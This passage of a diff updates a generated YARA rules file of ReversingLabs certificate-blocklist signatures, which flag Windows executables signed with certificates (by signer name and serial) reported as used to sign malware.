"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3120-L3138" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4022abb8efbda944e35ff529c5b3b3c9f6370127a945f3eec1310149bb5d06e4" + logic_hash = "1d419f2fe2a9bf744bdde48adc50e0bc48746f1576f96570385a2a1c9ba92d21" score = 75 quality = 90 tags = "INFO, FILE" @@ -19445,21 +41839,21 @@ rule REVERSINGLABS_Cert_Blocklist_0E8Aa328Af207Ce8Bcae1Dc15C626188 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PRO SAT SRL" and pe.signatures [ i ] . serial == "0e:8a:a3:28:af:20:7c:e8:bc:ae:1d:c1:5c:62:61:88" and 1627344000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IT PUT LIMITED" and ( pe.signatures [ i ] . serial == "00:eb:bd:d6:cd:ed:a4:0c:a6:45:13:28:0e:cd:62:5c:54" or pe.signatures [ i ] . serial == "eb:bd:d6:cd:ed:a4:0c:a6:45:13:28:0e:cd:62:5c:54" ) and 1549238400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Cfad6Be1D823B4Eacb803B720F525A7D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_61Da676C1Dcfcf188276E2C70D68082E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "844e295f-b22f-5eb0-9f98-0d6e574d2954" + id = "d974b740-38fa-564d-b4c6-8955568a4e77" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9148-L9166" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3140-L3156" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d8005774e6011d8198039a6588834cd0b13dd728103b63c3ea8b6e0dc3878f05" + logic_hash = "4f8af4a5c9812e6559218e387e32bc02cb0adcd40d9d4963fefc929f6101ae9a" score = 75 quality = 90 tags = "INFO, FILE" @@ -19469,21 +41863,21 @@ rule REVERSINGLABS_Cert_Blocklist_Cfad6Be1D823B4Eacb803B720F525A7D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sistema LLC" and ( pe.signatures [ i ] . serial == "00:cf:ad:6b:e1:d8:23:b4:ea:cb:80:3b:72:0f:52:5a:7d" or pe.signatures [ i ] . serial == "cf:ad:6b:e1:d8:23:b4:ea:cb:80:3b:72:0f:52:5a:7d" ) and 1627430400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "P2N ONLINE LTD" and pe.signatures [ i ] . serial == "61:da:67:6c:1d:cf:cf:18:82:76:e2:c7:0d:68:08:2e" and 1552723954 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Ebcb54B7E0E6410B28610De0743D4Dd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_767436921B2698Bd18400A24B01341B6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "84140bbd-23a0-5355-9d1a-918cc93c3352" + id = "3e3b2b75-9416-5c4f-ad47-88f92039f532" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9168-L9184" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3158-L3174" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c9444ff9e13192bf300afac12554bc4cc2defb37bb5b57906b6163db378c515a" + logic_hash = "759bbbc5929463ad68d5dcd28b30401b9ff680f522172ed8d5d7dd3772e07587" score = 75 quality = 90 tags = "INFO, FILE" @@ -19493,21 +41887,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Ebcb54B7E0E6410B28610De0743D4Dd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SIA \"MWorx\"" and pe.signatures [ i ] . serial == "7e:bc:b5:4b:7e:0e:64:10:b2:86:10:de:07:43:d4:dd" and 1625616000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REBROSE LEISURE LIMITED" and pe.signatures [ i ] . serial == "76:74:36:92:1b:26:98:bd:18:40:0a:24:b0:13:41:b6" and 1556284480 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_01106Cc293772Ca905A2B6Eff02Bf0F5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3E795531B3265510F935187Eca59920A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1ec81090-91a1-5019-be91-14f60d6722fc" + id = "953434f4-cc19-5a0a-923b-4deaadacef00" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9186-L9202" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3176-L3192" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "81e19c06de4546a2cee974230ef7aa15291f20f2e6b6f89c9b12107c26836b5e" + logic_hash = "d597e88314f9f20283b40058dd74167d0d72f7518277a57f26c15e44b670b386" score = 75 quality = 90 tags = "INFO, FILE" @@ -19517,21 +41911,21 @@ rule REVERSINGLABS_Cert_Blocklist_01106Cc293772Ca905A2B6Eff02Bf0F5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DMR Consulting Ltd." and pe.signatures [ i ] . serial == "01:10:6c:c2:93:77:2c:a9:05:a2:b6:ef:f0:2b:f0:f5" and 1627084800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "sasha catering ltd" and pe.signatures [ i ] . serial == "3e:79:55:31:b3:26:55:10:f9:35:18:7e:ca:59:92:0a" and 1557243644 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_05Bb162F6Efe852B7Bd4712Fd737A61E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8F40B1485309A064A28B96Bfa3F55F36 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "82b2198e-140a-54d0-afa8-ad89980c7899" + id = "bad5b57e-185a-5872-9817-a7d688e24fe7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9204-L9220" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3194-L3212" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d2fcbce0826c1478338827376d2c7869e5b38dc6d5e737a2f986600c6f71b1e6" + logic_hash = "58dd47bfd2acd698bc27fb03eb51e4b8598ef6c71f7193e3cc4eea63982855f0" score = 75 quality = 90 tags = "INFO, FILE" @@ -19541,21 +41935,21 @@ rule REVERSINGLABS_Cert_Blocklist_05Bb162F6Efe852B7Bd4712Fd737A61E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wellpro Impact Solutions Oy" and pe.signatures [ i ] . serial == "05:bb:16:2f:6e:fe:85:2b:7b:d4:71:2f:d7:37:a6:1e" and 1628726400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Singh Agile Content Design Limited" and ( pe.signatures [ i ] . serial == "00:8f:40:b1:48:53:09:a0:64:a2:8b:96:bf:a3:f5:5f:36" or pe.signatures [ i ] . serial == "8f:40:b1:48:53:09:a0:64:a2:8b:96:bf:a3:f5:5f:36" ) and 1542585600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6171990Ba1C8E71049Ebb296A35Bd160 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B2120Facadbb92Cc0A176759604C6A0F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f81697ca-e49a-5a3d-9e0f-6192159e098b" + id = "8a90cc61-4d39-58eb-a102-c22d096d99ae" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9222-L9238" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3214-L3232" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e922bb850b7c5c70db80e6a2b99310eac48d3b10b94a7259899facd681916bfa" + logic_hash = "08462b1bd3d45824aeea901a4db19365c28d8b8b0f594657df7a59250111729b" score = 75 quality = 90 tags = "INFO, FILE" @@ -19565,21 +41959,21 @@ rule REVERSINGLABS_Cert_Blocklist_6171990Ba1C8E71049Ebb296A35Bd160 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OWLNET LIMITED" and pe.signatures [ i ] . serial == "61:71:99:0b:a1:c8:e7:10:49:eb:b2:96:a3:5b:d1:60" and 1620000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLON LTD" and ( pe.signatures [ i ] . serial == "00:b2:12:0f:ac:ad:bb:92:cc:0a:17:67:59:60:4c:6a:0f" or pe.signatures [ i ] . serial == "b2:12:0f:ac:ad:bb:92:cc:0a:17:67:59:60:4c:6a:0f" ) and 1554249600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2114Ca3Bd2Afd63D7Fa29D744992B043 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4F407Eb50803845Cc43937823E1344C0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7d112cb8-a29f-5560-9c3c-cd8891623d96" + id = "6989cda1-f28e-58b7-8572-a7dc2e84d9e3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9240-L9256" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3234-L3250" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "241fe5a9f233fa36a665d22b38fd360bee21bc9832c15ac9c9d9b17adc3bb306" + logic_hash = "4d5a2b0619be902d8a437f204ae1b87222c73d3186930809b1f694bad429aea8" score = 75 quality = 90 tags = "INFO, FILE" @@ -19589,21 +41983,21 @@ rule REVERSINGLABS_Cert_Blocklist_2114Ca3Bd2Afd63D7Fa29D744992B043 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MATCH CONSULTANTS LTD" and pe.signatures [ i ] . serial == "21:14:ca:3b:d2:af:d6:3d:7f:a2:9d:74:49:92:b0:43" and 1625097600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLOW COOKED VENTURES LTD" and pe.signatures [ i ] . serial == "4f:40:7e:b5:08:03:84:5c:c4:39:37:82:3e:13:44:c0" and 1556555362 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Aaa62208A3A78Bfac1443007D031E61 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6922Bb5De88E4127E1Ac6969E6A199F5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dd6dca76-ff5b-51a8-9318-20a88eb44ffb" + id = "86e16068-8b0b-5f0f-af5e-5ee9f518a915" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9258-L9274" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3252-L3268" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7ba7f69514230fe636efc0a12fb9ac489a5a80ca1f5bcdb050dd30ee8f69659c" + logic_hash = "39dbaa232ea9125934b3682d780e3821d12e771f2b844d027d99a432fe249d9f" score = 75 quality = 90 tags = "INFO, FILE" @@ -19613,21 +42007,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Aaa62208A3A78Bfac1443007D031E61 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Solar LLC" and pe.signatures [ i ] . serial == "6a:aa:62:20:8a:3a:78:bf:ac:14:43:00:7d:03:1e:61" and 1608163200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SMACHNA PLITKA, TOV" and pe.signatures [ i ] . serial == "69:22:bb:5d:e8:8e:41:27:e1:ac:69:69:e6:a1:99:f5" and 1552692162 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_09450B8F73Ea43E39D2Cdd56049Dbe40 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_73065Efa163B7901Fa1Ccb0A54E80540 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e6914a29-f6f7-56fc-8606-95666d31cf33" + id = "949f55a9-7aa0-50de-bb81-fed5d27c3d24" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9276-L9292" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3270-L3286" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "22b344b8befc00b0154d225603c81c6058399770f54cb6a09d0f7908c5c8188c" + logic_hash = "e420c37c04aa676c266a4c2c228063239815c173a83c39d426c5a674648f1934" score = 75 quality = 90 tags = "INFO, FILE" @@ -19637,21 +42031,21 @@ rule REVERSINGLABS_Cert_Blocklist_09450B8F73Ea43E39D2Cdd56049Dbe40 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB9\\x9D\\xE6\\xB1\\x9F\\xE5\\xAE\\x8F\\xE5\\x9B\\xBE\\xE6\\x97\\xA0\\xE5\\xBF\\xA7\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "09:45:0b:8f:73:ea:43:e3:9d:2c:dd:56:04:9d:be:40" and 1561602110 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SOVA CONSULTANCY LTD" and pe.signatures [ i ] . serial == "73:06:5e:fa:16:3b:79:01:fa:1c:cb:0a:54:e8:05:40" and 1548115200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Efd9Bd4B4281C6522D96011Df46C9C4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4842Afad00904Ed8C98811E652Ccb3B7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7bd6616b-fef7-56aa-a78a-606601afa4f3" + id = "f09723aa-85a6-5d96-a71e-94f0e0a0f23c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9294-L9310" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3288-L3304" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8f8a5e3457c05c5e70e33041c5b0b971cf8f19313d47055fd760ed17d94c8794" + logic_hash = "2b5c7c13369c7b89f1ea5474de3644a12bf6412cb3fa8ade5b66de280fb10cbf" score = 75 quality = 90 tags = "INFO, FILE" @@ -19661,21 +42055,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Efd9Bd4B4281C6522D96011Df46C9C4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x9B\\xB7\\xE7\\xA5\\x9E\\xEF\\xBC\\x88\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xEF\\xBC\\x89\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0e:fd:9b:d4:b4:28:1c:65:22:d9:60:11:df:46:c9:c4" and 1586249095 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"VERY EXCLUSIVE LTD\"" and pe.signatures [ i ] . serial == "48:42:af:ad:00:90:4e:d8:c9:88:11:e6:52:cc:b3:b7" and 1545177600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Dd7D4A785990584D8C0837659173272 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5A59A686B4A904D0Fca07153Ea6Db6Cc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d5e3d85b-cc4e-5522-8558-f2703c38c4e6" + id = "018e511f-191d-5fd4-8ab0-0e5bbff44d58" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9312-L9328" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3306-L3322" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d18a479f07f2bdb890437e2bcb0213abdfb0eb684cdaf17c5eb0583039f2edb4" + logic_hash = "7597b2ba870ec58ac0786a97fb92956406fe019c81f6176cc1a581988d3a9632" score = 75 quality = 90 tags = "INFO, FILE" @@ -19685,21 +42079,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Dd7D4A785990584D8C0837659173272 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x9B\\xB7\\xE7\\xA5\\x9E\\xEF\\xBC\\x88\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xEF\\xBC\\x89\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0d:d7:d4:a7:85:99:05:84:d8:c0:83:76:59:17:32:72" and 1586249095 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABADAN PIZZA LTD" and pe.signatures [ i ] . serial == "5a:59:a6:86:b4:a9:04:d0:fc:a0:71:53:ea:6d:b6:cc" and 1563403380 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0C59D46580F039Af2C4Ab6Ba0Ffed197 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0B6D8152F4A06Ba781C6677Eea5Ab74B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "969e05a1-8ae1-5ea6-9607-5bf164f34e7b" + id = "dacac5fe-00dc-5080-a725-9ef69473c45e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9330-L9346" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3324-L3340" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "32eea2a436f386ef44a00ef72be8be7d4070b02f84ba71c7ee1ca407fddce8ec" + logic_hash = "bd20cf8e4cab2117361dbe05ae2efe813e7f55667b1f3825cd893313d98dcb5f" score = 75 quality = 90 tags = "INFO, FILE" @@ -19709,21 +42103,21 @@ rule REVERSINGLABS_Cert_Blocklist_0C59D46580F039Af2C4Ab6Ba0Ffed197 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xA4\\xA7\\xE8\\xBF\\x9E\\xE7\\xBA\\xB5\\xE6\\xA2\\xA6\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0c:59:d4:65:80:f0:39:af:2c:4a:b6:ba:0f:fe:d1:97" and 1585108595 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GLARYSOFT LTD" and pe.signatures [ i ] . serial == "0b:6d:81:52:f4:a0:6b:a7:81:c6:67:7e:ea:5a:b7:4b" and 1568246400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0448Ec8D26597F99912138500Cc41C1B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Ad60Cea73E1Dd1A3E6C02D9B339C380 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0c306a1f-e810-5988-a44c-964b6a67c918" + id = "80b39632-29a7-5932-a47b-736a9e8ed686" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9348-L9364" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3342-L3358" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "001556c31cfb0d94978adc48dc0d24c83666512348c65508975cc9e1a119aeae" + logic_hash = "fb83cf25be19e7cccd2c8369c3a37a90af72cb2f76db3619b8311d2a851335a8" score = 75 quality = 90 tags = "INFO, FILE" @@ -19733,21 +42127,21 @@ rule REVERSINGLABS_Cert_Blocklist_0448Ec8D26597F99912138500Cc41C1B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xA4\\xA7\\xE8\\xBF\\x9E\\xE7\\xBA\\xB5\\xE6\\xA2\\xA6\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "04:48:ec:8d:26:59:7f:99:91:21:38:50:0c:c4:1c:1b" and 1585108595 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CUS Software GmbH" and pe.signatures [ i ] . serial == "3a:d6:0c:ea:73:e1:dd:1a:3e:6c:02:d9:b3:39:c3:80" and 1567036800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0108Cbaee60728F5Bf06E45A56D6F170 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Df2Dfed47C6Fd6542131847Cffbc102 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2be3a0d2-2c6a-5c66-856a-d3a70a490ba3" + id = "306444d8-7573-58c6-b6fe-14d701942275" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9366-L9382" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3360-L3376" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "52027548e20c819e73ea5e9afd87faaca4498bc39e54dd30ad99a24e3ace57fd" + logic_hash = "fc6adbfd45ff6ac465aecb3db862421f02170e977fc044017f3ddc306a9f7a37" score = 75 quality = 90 tags = "INFO, FILE" @@ -19757,21 +42151,21 @@ rule REVERSINGLABS_Cert_Blocklist_0108Cbaee60728F5Bf06E45A56D6F170 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xE4\\xB8\\x9C\\xE6\\xB9\\x96\\xE6\\x96\\xB0\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE5\\xBC\\x80\\xE5\\x8F\\x91\\xE5\\x8C\\xBA" and pe.signatures [ i ] . serial == "01:08:cb:ae:e6:07:28:f5:bf:06:e4:5a:56:d6:f1:70" and 1605680260 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AFVIMPEX SRL" and pe.signatures [ i ] . serial == "7d:f2:df:ed:47:c6:fd:65:42:13:18:47:cf:fb:c1:02" and 1567036800 <= pe.signatures [ i ] . not_after ) } -rule 